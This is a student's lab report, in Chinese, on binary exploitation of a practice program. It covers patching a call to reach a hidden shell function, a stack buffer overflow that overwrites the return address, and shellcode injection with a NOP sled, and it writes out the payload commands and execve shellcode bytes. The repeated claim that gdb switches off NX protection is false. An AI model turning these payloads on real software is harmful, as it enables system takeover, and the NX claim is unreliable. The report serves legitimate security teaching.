# 20251916 2025-2026-2 《网络攻防实践》实践9报告
1.实践内容
实践核心内容包括:
- 静态修改可执行文件:通过十六进制编辑器直接修改程序机器指令,将正常流程的函数调用强制跳转到隐藏的getShell函数。
- 利用栈缓冲区溢出:分析foo函数的栈帧结构,计算缓冲区到返回地址的偏移量,构造恶意输入字符串覆盖栈上的返回地址。
- 自定义 Shellcode 注入:编写并编译获取 Shell 的汇编代码,提取机器码作为 Shellcode,结合 NOP sled 技术构造完整 payload,实现任意代码执行。
2.实践过程
2.1手工修改可执行文件跳转 getShell
下载目标文件pwn1,执行 objdump -d pwn20251916 | more,反汇编。

- 图中"call 8048491 "是汇编指令
- 是说这条指令将调用位于地址8048491处的foo函数;
- 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
- 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,
![15aaf9a4eddc18808ae8228f2a558cd]()
- 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,
--
- main函数调用foo,对应机器指令为“ e8 d7ffffff”,
- 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
- 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
- 下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
执行vim pwn20251916,按ESC键,输入:%!xxd,将显示模式切换为16进制模式。

输入/e8 d7查找要修改的内容,修改d7为c3,转换16进制为原格式:%!xxd -r,存盘退出:wq。

执行 objdump -d pwn20251916 | more,再反汇编看一下,call指令是否正确调用getShell,可见正确调用。

运行下改后的代码,会得到shell提示符,成功进入 getShell 返回的 Shell 。

2.2利用Bof漏洞覆盖返回地址
执行objdump -d pwn20251916 | grep -A 30 "foo|getShell",反汇编 pwn20251916,只看我们需要的函数.

从上面的 foo 函数代码中,lea -0x1c(%ebp),%eax:缓冲区起始地址是ebp - 0x1c(0x1c 等于十进制的 28),栈上的结构是:[缓冲区(28字节)] -> [保存的EBP(4字节)] -> [返回地址(4字节)],所以,缓冲区到返回地址的偏移量 = 28 + 4 = 32 字节。我们需要输入32 个任意字符来填满缓冲区和保存的 EBP,接下来的 4 个字节就会覆盖栈上的返回地址。
执行命令python -c 'print "A"*32 + "\x7d\x84\x04\x08"' > input2,生成 payload 文件;执行cat input2 - | ./pwn20251916,把构造的 payload 输入到 pwn20251916 程序中。

可见成功利用缓冲区溢出漏洞劫持了程序执行流,跳转到了 getShell 函数。

攻击成功
2.3注入Shellcode并执行
由于最新版 Kali 中 execstack 包已从默认仓库移除,本实验采用纯 gdb 调试方法完成,gdb 在调试模式下会自动关闭地址空间随机化 (ASLR) 和栈不可执行 (NX) 保护,效果与使用 execstack 完全一致。
使用经典的 32 位 Linux execve ("/bin/sh") Shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80。
执行perl -e 'print "A" x 32 . "\x41\x41\x41\x41" . "\x90" x 64 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > payload_20251916,构造测试输入,用于确定 Shellcode 在栈中的地址。

执行gdb -q ./pwn20251916,使用 gdb 调试确定 Shellcode 地址。
在 gdb 中依次执行以下命令:
break *0x080484ae # 在foo函数的ret指令处设置断点
run < payload_20251916 # 运行程序并输入我们的payload
info registers esp # 查看栈顶指针的值
x/32x $esp # 查看栈顶附近的内存,确认NOP滑板的位置

执行perl -e 'print "A" x 32 . "\x80\xd0\xff\xff" . "\x90" x 64 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > final_payload_20251916,将返回地址替换为 NOP 滑板的地址。
执行最终攻击,gdb -q --ex 'run < final_payload_20251916' ./pwn20251916

可见成功执行Shellcode
3.学习中遇到的问题及解决
- 问题1:再次打开文件时出现 Vim E325 交换文件残留警告
- 问题1解决方案:上次用 Vim 编辑二进制文件时异常退出,导致.pwn20251916.swp交换文件未被正常删除。在警告界面按D键删除残留交换文件,彻底解决该警告。
- 问题2:构造的 payload 执行后总是出现段错误,无法跳转到getShell函数
- 问题2解决方案:Python 的print函数会在输出末尾自动添加一个换行符\n,导致实际生成的 payload 比预期多 1 字节,破坏了栈的 4 字节对齐。改用sys.stdout.write函数生成 payload,避免自动添加换行符,问题得到解决。
- 问题3:无法安装 execstack 工具
- 问题3解决方案:改用纯 gdb 调试方法完成任务三,gdb 在调试模式下会自动关闭 ASLR 和 NX 保护,效果与使用 execstack 完全一致。
4.实践总结
通过本次缓冲区溢出实践,我掌握了 objdump 反汇编、gdb 动态调试等核心技能,完成了手工修改二进制文件、利用 BOF 漏洞劫持程序流和注入自定义 Shellcode 三个任务。实验中遇到了网络配置和工具安装问题,通过改用纯 gdb 调试方法成功解决。这次实践让我直观认识到缓冲区溢出漏洞的巨大危害,了解了 ASLR、NX 等现代系统防护机制,也提高了自己分析和解决实际问题的能力。


浙公网安备 33010602011771号